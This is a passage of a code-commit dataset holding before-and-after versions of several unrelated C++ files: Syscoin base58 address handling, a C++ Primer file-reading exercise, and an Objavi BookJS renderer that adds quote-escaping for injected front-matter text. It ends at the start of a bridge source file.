(vchVersion == Params().Base58Prefix(CChainParams::PUBKEY_ADDRESS) ||\n\t\tvchVersion == Params().Base58Prefix(CChainParams::PUBKEY_ADDRESS_SYS))\n return CKeyID(id);\n else if (vchVersion == Params().Base58Prefix(CChainParams::SCRIPT_ADDRESS))\n return CScriptID(id);\n else\n return CNoDestination();\n}\n\nbool CSyscoinAddress::GetKeyID(CKeyID& keyID) const\n{\n\t\/\/ SYSCOIN allow old SYSCOIN address scheme\n if (!IsValid() || (vchVersion != Params().Base58Prefix(CChainParams::PUBKEY_ADDRESS) && vchVersion != Params().Base58Prefix(CChainParams::PUBKEY_ADDRESS_SYS)))\n return false;\n uint160 id;\n memcpy(&id, &vchData[0], 20);\n keyID = CKeyID(id);\n return true;\n}\n\nbool CSyscoinAddress::IsScript() const\n{\n return IsValid() && vchVersion == Params().Base58Prefix(CChainParams::SCRIPT_ADDRESS);\n}\n\nvoid CSyscoinSecret::SetKey(const CKey& vchSecret)\n{\n assert(vchSecret.IsValid());\n SetData(Params().Base58Prefix(CChainParams::SECRET_KEY), vchSecret.begin(), vchSecret.size());\n if (vchSecret.IsCompressed())\n vchData.push_back(1);\n}\n\nCKey CSyscoinSecret::GetKey()\n{\n CKey ret;\n assert(vchData.size() >= 32);\n ret.Set(vchData.begin(), vchData.begin() + 32, vchData.size() > 32 && vchData[32] == 1);\n return ret;\n}\n\nbool CSyscoinSecret::IsValid() const\n{\n bool fExpectedFormat = vchData.size() == 32 || (vchData.size() == 33 && vchData[32] == 1);\n\t\/\/ SYSCOIN allow old SYSCOIN address scheme\n bool fCorrectVersion = vchVersion == Params().Base58Prefix(CChainParams::SECRET_KEY) ||\n vchVersion == Params().Base58Prefix(CChainParams::SECRET_KEY_SYS);\n return fExpectedFormat && fCorrectVersion;\n}\n\nbool CSyscoinSecret::SetString(const char* pszSecret)\n{\n return CBase58Data::SetString(pszSecret) && IsValid();\n}\n\nbool CSyscoinSecret::SetString(const std::string& strSecret)\n{\n return SetString(strSecret.c_str());\n}\n<commit_msg>compile<commit_after>\/\/ Copyright (c) 2014 The Syscoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"base58.h\"\n\n#include \"hash.h\"\n#include \"uint256.h\"\n\n#include <assert.h>\n#include <stdint.h>\n#include <string.h>\n#include <vector>\n#include <string>\n#include <boost\/variant\/apply_visitor.hpp>\n#include <boost\/variant\/static_visitor.hpp>\n\/\/ SYSCOIN use aliases as addresses\nextern void GetAddressFromAlias(const std::string& strAlias, std::string& strAddress);\nextern void GetAliasFromAddress(const std::string& strAddress, std::string& strAlias);\n\/** All alphanumeric characters except for \"0\", \"I\", \"O\", and \"l\" *\/\nstatic const char* pszBase58 = \"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz\";\n\nbool DecodeBase58(const char* psz, std::vector<unsigned char>& vch)\n{\n \/\/ Skip leading spaces.\n while (*psz && isspace(*psz))\n psz++;\n \/\/ Skip and count leading '1's.\n int zeroes = 0;\n while (*psz == '1') {\n zeroes++;\n psz++;\n }\n \/\/ Allocate enough space in big-endian base256 representation.\n std::vector<unsigned char> b256(strlen(psz) * 733 \/ 1000 + 1); \/\/ log(58) \/ log(256), rounded up.\n \/\/ Process the characters.\n while (*psz && !isspace(*psz)) {\n \/\/ Decode base58 character\n const char* ch = strchr(pszBase58, *psz);\n if (ch == NULL)\n return false;\n \/\/ Apply \"b256 = b256 * 58 + ch\".\n int carry = ch - pszBase58;\n for (std::vector<unsigned char>::reverse_iterator it = b256.rbegin(); it != b256.rend(); it++) {\n carry += 58 * (*it);\n *it = carry % 256;\n carry \/= 256;\n }\n assert(carry == 0);\n psz++;\n }\n \/\/ Skip trailing spaces.\n while (isspace(*psz))\n psz++;\n if (*psz != 0)\n return false;\n \/\/ Skip leading zeroes in b256.\n std::vector<unsigned char>::iterator it = b256.begin();\n while (it != b256.end() && *it == 0)\n it++;\n \/\/ Copy result into output vector.\n vch.reserve(zeroes + (b256.end() - it));\n vch.assign(zeroes, 0x00);\n while (it != b256.end())\n vch.push_back(*(it++));\n return true;\n}\n\nstd::string EncodeBase58(const unsigned char* pbegin, const unsigned char* pend)\n{\n \/\/ Skip & count leading zeroes.\n int zeroes = 0;\n while (pbegin != pend && *pbegin == 0) {\n pbegin++;\n zeroes++;\n }\n \/\/ Allocate enough space in big-endian base58 representation.\n std::vector<unsigned char> b58((pend - pbegin) * 138 \/ 100 + 1); \/\/ log(256) \/ log(58), rounded up.\n \/\/ Process the bytes.\n while (pbegin != pend) {\n int carry = *pbegin;\n \/\/ Apply \"b58 = b58 * 256 + ch\".\n for (std::vector<unsigned char>::reverse_iterator it = b58.rbegin(); it != b58.rend(); it++) {\n carry += 256 * (*it);\n *it = carry % 58;\n carry \/= 58;\n }\n assert(carry == 0);\n pbegin++;\n }\n \/\/ Skip leading zeroes in base58 result.\n std::vector<unsigned char>::iterator it = b58.begin();\n while (it != b58.end() && *it == 0)\n it++;\n \/\/ Translate the result into a string.\n std::string str;\n str.reserve(zeroes + (b58.end() - it));\n str.assign(zeroes, '1');\n while (it != b58.end())\n str += pszBase58[*(it++)];\n return str;\n}\n\nstd::string EncodeBase58(const std::vector<unsigned char>& vch)\n{\n return EncodeBase58(&vch[0], &vch[0] + vch.size());\n}\n\nbool DecodeBase58(const std::string& str, std::vector<unsigned char>& vchRet)\n{\n return DecodeBase58(str.c_str(), vchRet);\n}\n\nstd::string EncodeBase58Check(const std::vector<unsigned char>& vchIn)\n{\n \/\/ add 4-byte hash check to the end\n std::vector<unsigned char> vch(vchIn);\n uint256 hash = Hash(vch.begin(), vch.end());\n vch.insert(vch.end(), (unsigned char*)&hash, (unsigned char*)&hash + 4);\n return EncodeBase58(vch);\n}\n\nbool DecodeBase58Check(const char* psz, std::vector<unsigned char>& vchRet)\n{\n if (!DecodeBase58(psz, vchRet) ||\n (vchRet.size() < 4)) {\n vchRet.clear();\n return false;\n }\n \/\/ re-calculate the checksum, insure it matches the included 4-byte checksum\n uint256 hash = Hash(vchRet.begin(), vchRet.end() - 4);\n if (memcmp(&hash, &vchRet.end()[-4], 4) != 0) {\n vchRet.clear();\n return false;\n }\n vchRet.resize(vchRet.size() - 4);\n return true;\n}\n\nbool DecodeBase58Check(const std::string& str, std::vector<unsigned char>& vchRet)\n{\n return DecodeBase58Check(str.c_str(), vchRet);\n}\n\nCBase58Data::CBase58Data()\n{\n vchVersion.clear();\n vchData.clear();\n}\n\nvoid CBase58Data::SetData(const std::vector<unsigned char>& vchVersionIn, const void* pdata, size_t nSize)\n{\n vchVersion = vchVersionIn;\n vchData.resize(nSize);\n if (!vchData.empty())\n memcpy(&vchData[0], pdata, nSize);\n}\n\nvoid CBase58Data::SetData(const std::vector<unsigned char>& vchVersionIn, const unsigned char* pbegin, const unsigned char* pend)\n{\n SetData(vchVersionIn, (void*)pbegin, pend - pbegin);\n}\n\nbool CBase58Data::SetString(const char* psz, unsigned int nVersionBytes)\n{\n std::vector<unsigned char> vchTemp;\n bool rc58 = DecodeBase58Check(psz, vchTemp);\n if ((!rc58) || (vchTemp.size() < nVersionBytes)) {\n vchData.clear();\n vchVersion.clear();\n return false;\n }\n vchVersion.assign(vchTemp.begin(), vchTemp.begin() + nVersionBytes);\n vchData.resize(vchTemp.size() - nVersionBytes);\n if (!vchData.empty())\n memcpy(&vchData[0], &vchTemp[nVersionBytes], vchData.size());\n memory_cleanse(&vchTemp[0], vchData.size());\n return true;\n}\n\nbool CBase58Data::SetString(const std::string& str)\n{\n return SetString(str.c_str());\n}\n\nstd::string CBase58Data::ToString() const\n{\n std::vector<unsigned char> vch = vchVersion;\n vch.insert(vch.end(), vchData.begin(), vchData.end());\n return EncodeBase58Check(vch);\n}\n\nint CBase58Data::CompareTo(const CBase58Data& b58) const\n{\n if (vchVersion < b58.vchVersion)\n return -1;\n if (vchVersion > b58.vchVersion)\n return 1;\n if (vchData < b58.vchData)\n return -1;\n if (vchData > b58.vchData)\n return 1;\n return 0;\n}\n\nnamespace\n{\nclass CSyscoinAddressVisitor : public boost::static_visitor<bool>\n{\nprivate:\n CSyscoinAddress* addr;\n\t\/\/ SYSCOIN support old sys\n\tbool bOldSys;\npublic:\n CSyscoinAddressVisitor(CSyscoinAddress* addrIn) : addr(addrIn) {}\n\tCSyscoinAddressVisitor(CSyscoinAddress* addrIn, bool oldSys) : bOldSys(oldSys), addr(addrIn) {}\n\n bool operator()(const CKeyID& id) const { return addr->Set(id, bOldSys); }\n bool operator()(const CScriptID& id) const { return addr->Set(id); }\n bool operator()(const CNoDestination& no) const { return false; }\n};\n\n} \/\/ anon namespace\n\/\/ SYSCOIN aliases as addresses\nCSyscoinAddress::CSyscoinAddress() {\n\tisAlias = false;\n\taliasName = \"\";\n}\n\/\/ SYSCOIN support old sys\nCSyscoinAddress::CSyscoinAddress(const CTxDestination &dest, bool oldSys) { \n\tisAlias = false;\n\taliasName = \"\";\n Set(dest, oldSys);\n}\nCSyscoinAddress::CSyscoinAddress(const CTxDestination &dest) { \n\tisAlias = false;\n\taliasName = \"\";\n Set(dest, false);\n}\nCSyscoinAddress::CSyscoinAddress(const std::string& strAddress) { \n\tisAlias = false;\n\taliasName = \"\";\n SetString(strAddress);\n\t\/\/ try to resolve alias address from alias name\n\tif (!IsValid())\n\t{\n\t\ttry \n\t\t{\n\t\t\tstd::string strAliasAddress;\n\t\t\tGetAddressFromAlias(strAddress, strAliasAddress);\n\t\t\tSetString(strAliasAddress);\n\t\t\taliasName = strAddress;\n\t\t\tisAlias = true;\n\t\t}\n\t\tcatch(...)\n\t\t{\n\t\t}\n\t}\n\t\/\/ try to resolve alias name from alias address\n\telse\n\t{\n\t\ttry \n\t\t{\n\t\t\tstd::string strAlias;\n\t\t\tGetAliasFromAddress(strAddress, strAlias);\n\t\t\taliasName = strAlias;\n\t\t\tisAlias = true;\n\t\t}\n\t\tcatch(...)\n\t\t{\n\t\t}\n\t}\n\t\t\t\n}\nCSyscoinAddress::CSyscoinAddress(const char* pszAddress) { \n\tisAlias = false;\n SetString(pszAddress);\n\t\/\/ try to resolve alias address\n\tif (!IsValid())\n\t{\n\t\ttry \n\t\t{\n\t\t\tstd::string strAliasAddress;\n\t\t\tGetAddressFromAlias(std::string(pszAddress), strAliasAddress);\n\t\t\tSetString(strAliasAddress);\n\t\t\taliasName = std::string(pszAddress);\n\t\t\tisAlias = true;\n\t\t\t\n\t\t}\n\t\tcatch(...)\n\t\t{\n\t\t}\n\t}\n\telse\n\t{\n\t\ttry \n\t\t{\n\t\t\tstd::string strAlias;\n\t\t\tGetAliasFromAddress(std::string(pszAddress), strAlias);\n\t\t\taliasName = strAlias;\n\t\t\tisAlias = true;\n\t\t}\n\t\tcatch(...)\n\t\t{\n\t\t}\n\t}\n}\n\/\/ SYSCOIN support old sys\nbool CSyscoinAddress::Set(const CKeyID& id, bool oldSys = false)\n{\n\tSetData(Params().Base58Prefix(oldSys? CChainParams::PUBKEY_ADDRESS_SYS: CChainParams::PUBKEY_ADDRESS), &id, 20);\n return true;\n}\n\nbool CSyscoinAddress::Set(const CScriptID& id)\n{\n SetData(Params().Base58Prefix(CChainParams::SCRIPT_ADDRESS), &id, 20);\n return true;\n}\n\/\/ SYSCOIN support old sys\nbool CSyscoinAddress::Set(const CTxDestination& dest, bool oldSys = false)\n{\n return boost::apply_visitor(CSyscoinAddressVisitor(this, oldSys), dest);\n}\n\nbool CSyscoinAddress::IsValid() const\n{\n return IsValid(Params());\n}\n\nbool CSyscoinAddress::IsValid(const CChainParams& params) const\n{\n bool fCorrectSize = vchData.size() == 20;\n\t\/\/ SYSCOIN allow old SYSCOIN address scheme\n bool fKnownVersion = vchVersion == params.Base58Prefix(CChainParams::PUBKEY_ADDRESS) ||\n\t\t\t\t\t\t vchVersion == params.Base58Prefix(CChainParams::PUBKEY_ADDRESS_SYS) ||\n vchVersion == params.Base58Prefix(CChainParams::SCRIPT_ADDRESS);\n return fCorrectSize && fKnownVersion;\n}\n\nCTxDestination CSyscoinAddress::Get() const\n{\n if (!IsValid())\n return CNoDestination();\n uint160 id;\n memcpy(&id, &vchData[0], 20);\n\t\/\/ SYSCOIN allow old SYSCOIN address scheme\n if (vchVersion == Params().Base58Prefix(CChainParams::PUBKEY_ADDRESS) ||\n\t\tvchVersion == Params().Base58Prefix(CChainParams::PUBKEY_ADDRESS_SYS))\n return CKeyID(id);\n else if (vchVersion == Params().Base58Prefix(CChainParams::SCRIPT_ADDRESS))\n return CScriptID(id);\n else\n return CNoDestination();\n}\n\nbool CSyscoinAddress::GetKeyID(CKeyID& keyID) const\n{\n\t\/\/ SYSCOIN allow old SYSCOIN address scheme\n if (!IsValid() || (vchVersion != Params().Base58Prefix(CChainParams::PUBKEY_ADDRESS) && vchVersion != Params().Base58Prefix(CChainParams::PUBKEY_ADDRESS_SYS)))\n return false;\n uint160 id;\n memcpy(&id, &vchData[0], 20);\n keyID = CKeyID(id);\n return true;\n}\n\nbool CSyscoinAddress::IsScript() const\n{\n return IsValid() && vchVersion == Params().Base58Prefix(CChainParams::SCRIPT_ADDRESS);\n}\n\nvoid CSyscoinSecret::SetKey(const CKey& vchSecret)\n{\n assert(vchSecret.IsValid());\n SetData(Params().Base58Prefix(CChainParams::SECRET_KEY), vchSecret.begin(), vchSecret.size());\n if (vchSecret.IsCompressed())\n vchData.push_back(1);\n}\n\nCKey CSyscoinSecret::GetKey()\n{\n CKey ret;\n assert(vchData.size() >= 32);\n ret.Set(vchData.begin(), vchData.begin() + 32, vchData.size() > 32 && vchData[32] == 1);\n return ret;\n}\n\nbool CSyscoinSecret::IsValid() const\n{\n bool fExpectedFormat = vchData.size() == 32 || (vchData.size() == 33 && vchData[32] == 1);\n\t\/\/ SYSCOIN allow old SYSCOIN address scheme\n bool fCorrectVersion = vchVersion == Params().Base58Prefix(CChainParams::SECRET_KEY) ||\n vchVersion == Params().Base58Prefix(CChainParams::SECRET_KEY_SYS);\n return fExpectedFormat && fCorrectVersion;\n}\n\nbool CSyscoinSecret::SetString(const char* pszSecret)\n{\n return CBase58Data::SetString(pszSecret) && IsValid();\n}\n\nbool CSyscoinSecret::SetString(const std::string& strSecret)\n{\n return SetString(strSecret.c_str());\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ ex8_05.cpp\n\/\/ Exercise 8.5\n\/\/\n\/\/ Created by pezy on 11\/9\/14.\n\/\/ Copyright (c) 2014 pezy. All rights reserved.\n\/\/\n\/\/ @Brief Rewrite the previous program to store each word in a separate element\n\/\/ @See ex8_04.cpp\n\n#include <fstream>\n#include <string>\n#include <vector>\n#include <iostream>\n\nusing std::vector;\nusing std::string;\nusing std::ifstream;\nusing std::cout;\nusing std::endl;\n\nvoid ReadFileToVec(const string& fileName, vector<string>& vec)\n{\n ifstream ifs(fileName);\n if (ifs) {\n string buf;\n while (ifs >> buf) vec.push_back(buf);\n }\n}\n\nint main()\n{\n vector<string> vec;\n ReadFileToVec(\"..\/data\/book.txt\", vec);\n for (const auto& str : vec) cout << str << endl;\n return 0;\n}\n<commit_msg>Update ex8_05.cpp<commit_after>\/\/\n\/\/ ex8_05.cpp\n\/\/ Exercise 8.5\n\/\/\n\/\/ Created by pezy on 11\/9\/14.\n\/\/ Copyright (c) 2014 pezy. All rights reserved.\n\/\/\n\/\/ @Brief Rewrite the previous program to store each word in a separate element.\n\/\/ @See ex8_04.cpp\n\n#include <iostream>\n#include <fstream>\n#include <vector>\n#include <string>\n\nusing std::cout;\nusing std::endl;\nusing std::ifstream;\nusing std::vector;\nusing std::string;\n\nvoid ReadFileToVec(const string &fileName, vector<string> &vec)\n{\n ifstream input(fileName);\n if(input)\n {\n string s;\n while(input>>s)\n vec.push_back(s);\n }\n}\n\nint main()\n{\n vector<string> vec;\n ReadFileToVec(\"E:\\\\zzz.txt\", vec);\n for(const auto &str:vec)\n cout<<str<<endl;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * This file is part of the Objavi Renderer.\n *\n * Copyright (C) 2013 Borko Jandras <borko.jandras@sourcefabric.org>\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"bookjs.hpp\"\n\n#include <QDir>\n#include <QFile>\n#include <QString>\n#include <QVariant>\n#include <QTextStream>\n#include <QDebug>\n\n#include <QWebElement>\n#include <QWebFrame>\n#include <QWebPage>\n\n#include <stdexcept>\n\n\nnamespace Objavi { namespace BookJS {\n\n PaginationConfig::PaginationConfig()\n {}\n\n PaginationConfig::PaginationConfig(QList<QPair<QString,QVariant> > const & items)\n {\n typedef QPair<QString,QVariant> ItemType;\n\n Q_FOREACH (ItemType const & item, items)\n {\n m_map[item.first] = item.second;\n }\n }\n\n\n PaginationConfig PaginationConfig::parse(QString const & text)\n {\n typedef QPair<QString,QVariant> ItemType;\n\n QList<ItemType> items;\n\n Q_FOREACH (QString item, text.split(','))\n {\n QStringList pair = item.split(':');\n\n if (pair.length() < 2) continue;\n\n QString key = pair[0].trimmed();\n QString val = pair[1].trimmed();\n\n QVariant value;\n\n if (key == \"lengthUnit\")\n {\n if (val == \"'em'\" || val == \"\\\"em\\\"\" ||\n val == \"'cm'\" || val == \"\\\"cm\\\"\" ||\n val == \"'mm'\" || val == \"\\\"mm\\\"\" ||\n val == \"'in'\" || val == \"\\\"in\\\"\" ||\n val == \"'pt'\" || val == \"\\\"pt\\\"\" ||\n val == \"'pc'\" || val == \"\\\"pc\\\"\" ||\n val == \"'px'\" || val == \"\\\"px\\\"\" ||\n val == \"'ex'\" || val == \"\\\"ex\\\"\" ||\n val == \"'%'\" || val == \"\\\"%\\\"\")\n {\n value = val;\n }\n }\n else\n {\n bool ok = false;\n double d = val.toDouble(&ok);\n\n if (ok)\n {\n value = d;\n }\n }\n\n if (value.isValid())\n {\n items.append(ItemType(key, value));\n }\n else\n {\n QString msg = QString(\"invalid value for option %1: %2\").arg(key).arg(val);\n throw std::runtime_error(msg.toLatin1().data());\n }\n }\n\n return PaginationConfig(items);\n }\n\n\n namespace {\n\n QSizeF makeSize(QString width, QString height)\n {\n if (width.endsWith(\"px\") && height.endsWith(\"px\"))\n {\n width = width.left(width.size() - 2);\n height = height.left(height.size() - 2);\n \n return QSizeF(width.toFloat(), height.toFloat());\n }\n else\n {\n return QSizeF();\n }\n }\n \n }\n\n \n QSizeF getPageSize(QWebPage const * page, QString className)\n {\n QWebElement document = page->mainFrame()->documentElement();\n \n QWebElement element = document.findFirst(QString(\".%1\").arg(className));\n if (! element.isNull())\n {\n QString width = element.styleProperty(\"width\", QWebElement::ComputedStyle);\n QString height = element.styleProperty(\"height\", QWebElement::ComputedStyle);\n\n return makeSize(width, height);\n }\n \n QString script_text = \n \"(function(className) {\"\n \" var style = getComputedStyle(document.getElementsByClassName(className)[0], className);\"\n \" return [style.width, style.height];\"\n \"})('%1');\";\n\n script_text = script_text.arg(className);\n \n QVariant result = document.evaluateJavaScript(script_text);\n\n if (result.canConvert(QVariant::StringList))\n {\n QStringList list = result.toStringList();\n\n return makeSize(list[0], list[1]);\n }\n \n return QSizeF();\n }\n\n\n namespace {\n\n QString loadFile(QString path)\n {\n QFile file(path);\n\n if (! file.open(QFile::ReadOnly))\n {\n QString message = QString(\"could not open file %1\").arg(path);\n\n throw std::runtime_error(message.toStdString());\n }\n\n return QTextStream(&file).readAll();\n }\n\n \n void appendCSS(QString text, QWebElement & element)\n {\n QString xml = element.toInnerXml();\n\n xml += \"<style>\";\n xml += text;\n xml += \"<\/style>\";\n\n element.setInnerXml(xml);\n }\n \n void appendJavascript(QString text, QWebElement & element)\n {\n QString xml = element.toInnerXml();\n\n xml += \"<script type=\\\"text\/javascript\\\">\";\n xml += text;\n xml += \"<\/script>\";\n\n element.setInnerXml(xml);\n }\n\n\n QString makeFrontMatterContents(QWebElement const & head)\n {\n QString title;\n QString subtitle;\n QString editors;\n QString license;\n QString copyright;\n\n for (QWebElement node = head.firstChild(); !node.isNull(); node = node.nextSibling())\n {\n QString name = node.localName();\n\n if (name == \"title\")\n {\n title = node.toPlainText();\n }\n else if (name == \"meta\")\n {\n QString name = node.attribute(\"name\");\n QString value = node.attribute(\"content\");\n\n if (name == \"license\")\n {\n license = value;\n }\n else if (name == \"copyright\")\n {\n copyright = value;\n }\n }\n }\n\n return QString(\n \"<div id=\\\"booktitle\\\">%1<\/div>\"\n \"<div id=\\\"booksubtitle\\\">%2<\/div>\"\n \"<div id=\\\"bookeditors\\\">%3<\/div>\"\n \"<div class=\\\"pagebreak\\\"><\/div>\"\n \"<div id=\\\"copyrightpage\\\">Copyright: %4<br>License: %5<\/div>\"\n \"<div class=\\\"pagebreak\\\"><\/div>\")\n .arg(title)\n .arg(subtitle)\n .arg(editors)\n .arg(copyright).arg(license);\n }\n \n }\n \n void install(QWebPage * page, QString bookjsPath, PaginationConfig const & paginationConfig, QString customCSS)\n {\n QWebElement document = page->mainFrame()->documentElement();\n QWebElement head = document.findFirst(\"head\");\n\n if (head.isNull())\n {\n throw std::runtime_error(\"no document head\");\n }\n\n QDir bookjsDir = QDir::current();\n if (! bookjsPath.isEmpty())\n {\n bookjsDir = QDir(bookjsPath);\n }\n\n if (bookjsDir.exists() == false)\n {\n throw std::runtime_error(\"invalid BookJS path\");\n }\n\n if (! customCSS.isEmpty())\n {\n appendCSS(customCSS, head);\n }\n\n QString script;\n\n \/\/ preset pagination configuration\n script += loadFile(bookjsDir.filePath(\"book-config.js\"));\n\n \/\/ user-specified pagination configuration\n \/\/\n for (PaginationConfig::MapType::ConstIterator it = paginationConfig.items().begin();\n it != paginationConfig.items().end(); ++it)\n {\n QString optionKey = it.key();\n QString optionValue = it.value().toString();\n\n script += QString(\"paginationConfig.%1 = %2;\\n\").arg(optionKey).arg(optionValue);\n }\n\n \/\/ front matter configuration\n script += QString(\"paginationConfig.frontmatterContents = '%1';\\n\").arg(makeFrontMatterContents(head));\n\n \/\/ main BookJS script text\n script += loadFile(bookjsDir.filePath(\"book.js\"));\n\n \/\/ apply\n script += \"Pagination.applyBookLayout();\";\n\n page->mainFrame()->evaluateJavaScript(script);\n }\n\n} } \/\/ namespace Objavi::BookJS\n<commit_msg>Make sure the contents of frontmatterContents is escaped.<commit_after>\/*\n * This file is part of the Objavi Renderer.\n *\n * Copyright (C) 2013 Borko Jandras <borko.jandras@sourcefabric.org>\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"bookjs.hpp\"\n\n#include <QDir>\n#include <QFile>\n#include <QString>\n#include <QVariant>\n#include <QTextStream>\n#include <QDebug>\n\n#include <QWebElement>\n#include <QWebFrame>\n#include <QWebPage>\n\n#include <stdexcept>\n\n\nnamespace Objavi { namespace BookJS {\n\n PaginationConfig::PaginationConfig()\n {}\n\n PaginationConfig::PaginationConfig(QList<QPair<QString,QVariant> > const & items)\n {\n typedef QPair<QString,QVariant> ItemType;\n\n Q_FOREACH (ItemType const & item, items)\n {\n m_map[item.first] = item.second;\n }\n }\n\n\n PaginationConfig PaginationConfig::parse(QString const & text)\n {\n typedef QPair<QString,QVariant> ItemType;\n\n QList<ItemType> items;\n\n Q_FOREACH (QString item, text.split(','))\n {\n QStringList pair = item.split(':');\n\n if (pair.length() < 2) continue;\n\n QString key = pair[0].trimmed();\n QString val = pair[1].trimmed();\n\n QVariant value;\n\n if (key == \"lengthUnit\")\n {\n if (val == \"'em'\" || val == \"\\\"em\\\"\" ||\n val == \"'cm'\" || val == \"\\\"cm\\\"\" ||\n val == \"'mm'\" || val == \"\\\"mm\\\"\" ||\n val == \"'in'\" || val == \"\\\"in\\\"\" ||\n val == \"'pt'\" || val == \"\\\"pt\\\"\" ||\n val == \"'pc'\" || val == \"\\\"pc\\\"\" ||\n val == \"'px'\" || val == \"\\\"px\\\"\" ||\n val == \"'ex'\" || val == \"\\\"ex\\\"\" ||\n val == \"'%'\" || val == \"\\\"%\\\"\")\n {\n value = val;\n }\n }\n else\n {\n bool ok = false;\n double d = val.toDouble(&ok);\n\n if (ok)\n {\n value = d;\n }\n }\n\n if (value.isValid())\n {\n items.append(ItemType(key, value));\n }\n else\n {\n QString msg = QString(\"invalid value for option %1: %2\").arg(key).arg(val);\n throw std::runtime_error(msg.toLatin1().data());\n }\n }\n\n return PaginationConfig(items);\n }\n\n\n namespace {\n\n QSizeF makeSize(QString width, QString height)\n {\n if (width.endsWith(\"px\") && height.endsWith(\"px\"))\n {\n width = width.left(width.size() - 2);\n height = height.left(height.size() - 2);\n \n return QSizeF(width.toFloat(), height.toFloat());\n }\n else\n {\n return QSizeF();\n }\n }\n \n }\n\n \n QSizeF getPageSize(QWebPage const * page, QString className)\n {\n QWebElement document = page->mainFrame()->documentElement();\n \n QWebElement element = document.findFirst(QString(\".%1\").arg(className));\n if (! element.isNull())\n {\n QString width = element.styleProperty(\"width\", QWebElement::ComputedStyle);\n QString height = element.styleProperty(\"height\", QWebElement::ComputedStyle);\n\n return makeSize(width, height);\n }\n \n QString script_text = \n \"(function(className) {\"\n \" var style = getComputedStyle(document.getElementsByClassName(className)[0], className);\"\n \" return [style.width, style.height];\"\n \"})('%1');\";\n\n script_text = script_text.arg(className);\n \n QVariant result = document.evaluateJavaScript(script_text);\n\n if (result.canConvert(QVariant::StringList))\n {\n QStringList list = result.toStringList();\n\n return makeSize(list[0], list[1]);\n }\n \n return QSizeF();\n }\n\n\n namespace {\n\n QString loadFile(QString path)\n {\n QFile file(path);\n\n if (! file.open(QFile::ReadOnly))\n {\n QString message = QString(\"could not open file %1\").arg(path);\n\n throw std::runtime_error(message.toStdString());\n }\n\n return QTextStream(&file).readAll();\n }\n\n \n void appendCSS(QString text, QWebElement & element)\n {\n QString xml = element.toInnerXml();\n\n xml += \"<style>\";\n xml += text;\n xml += \"<\/style>\";\n\n element.setInnerXml(xml);\n }\n \n void appendJavascript(QString text, QWebElement & element)\n {\n QString xml = element.toInnerXml();\n\n xml += \"<script type=\\\"text\/javascript\\\">\";\n xml += text;\n xml += \"<\/script>\";\n\n element.setInnerXml(xml);\n }\n\n\n QString makeFrontMatterContents(QWebElement const & head)\n {\n QString title;\n QString subtitle;\n QString editors;\n QString license;\n QString copyright;\n\n for (QWebElement node = head.firstChild(); !node.isNull(); node = node.nextSibling())\n {\n QString name = node.localName();\n\n if (name == \"title\")\n {\n title = node.toPlainText();\n }\n else if (name == \"meta\")\n {\n QString name = node.attribute(\"name\");\n QString value = node.attribute(\"content\");\n\n if (name == \"license\")\n {\n license = value;\n }\n else if (name == \"copyright\")\n {\n copyright = value;\n }\n }\n }\n\n return QString(\n \"<div id=\\\"booktitle\\\">%1<\/div>\"\n \"<div id=\\\"booksubtitle\\\">%2<\/div>\"\n \"<div id=\\\"bookeditors\\\">%3<\/div>\"\n \"<div class=\\\"pagebreak\\\"><\/div>\"\n \"<div id=\\\"copyrightpage\\\">Copyright: %4<br>License: %5<\/div>\"\n \"<div class=\\\"pagebreak\\\"><\/div>\")\n .arg(title)\n .arg(subtitle)\n .arg(editors)\n .arg(copyright).arg(license);\n }\n \n }\n \n void install(QWebPage * page, QString bookjsPath, PaginationConfig const & paginationConfig, QString customCSS)\n {\n QWebElement document = page->mainFrame()->documentElement();\n QWebElement head = document.findFirst(\"head\");\n\n if (head.isNull())\n {\n throw std::runtime_error(\"no document head\");\n }\n\n QDir bookjsDir = QDir::current();\n if (! bookjsPath.isEmpty())\n {\n bookjsDir = QDir(bookjsPath);\n }\n\n if (bookjsDir.exists() == false)\n {\n throw std::runtime_error(\"invalid BookJS path\");\n }\n\n if (! customCSS.isEmpty())\n {\n appendCSS(customCSS, head);\n }\n\n QString script;\n\n \/\/ preset pagination configuration\n script += loadFile(bookjsDir.filePath(\"book-config.js\"));\n\n \/\/ user-specified pagination configuration\n \/\/\n for (PaginationConfig::MapType::ConstIterator it = paginationConfig.items().begin();\n it != paginationConfig.items().end(); ++it)\n {\n QString optionKey = it.key();\n QString optionValue = it.value().toString();\n\n script += QString(\"\\npaginationConfig.%1 = %2;\").arg(optionKey).arg(optionValue);\n }\n\n \/\/ front matter configuration\n \/\/\n QString frontmatterContents = makeFrontMatterContents(head);\n frontmatterContents.replace(\"'\", \"\\\\'\");\n script += QString(\"\\npaginationConfig.frontmatterContents = '%1';\\n\").arg(frontmatterContents);\n\n \/\/ main BookJS script text\n script += loadFile(bookjsDir.filePath(\"book.js\"));\n\n \/\/ apply\n script += \"\\nPagination.applyBookLayout();\";\n\n page->mainFrame()->evaluateJavaScript(script);\n }\n\n} } \/\/ namespace Objavi::BookJS\n<|endoftext|>"} {"text":"<commit_before>#include \"bridge.hpp\"\n#include \"util\/common.hpp\"\n#include \"dsp\/ringbuffer.hpp\"\n\n#include <unistd.h>\n#if ARCH_WIN\n\t#include <winsock2.h>\n#else\n\t#include 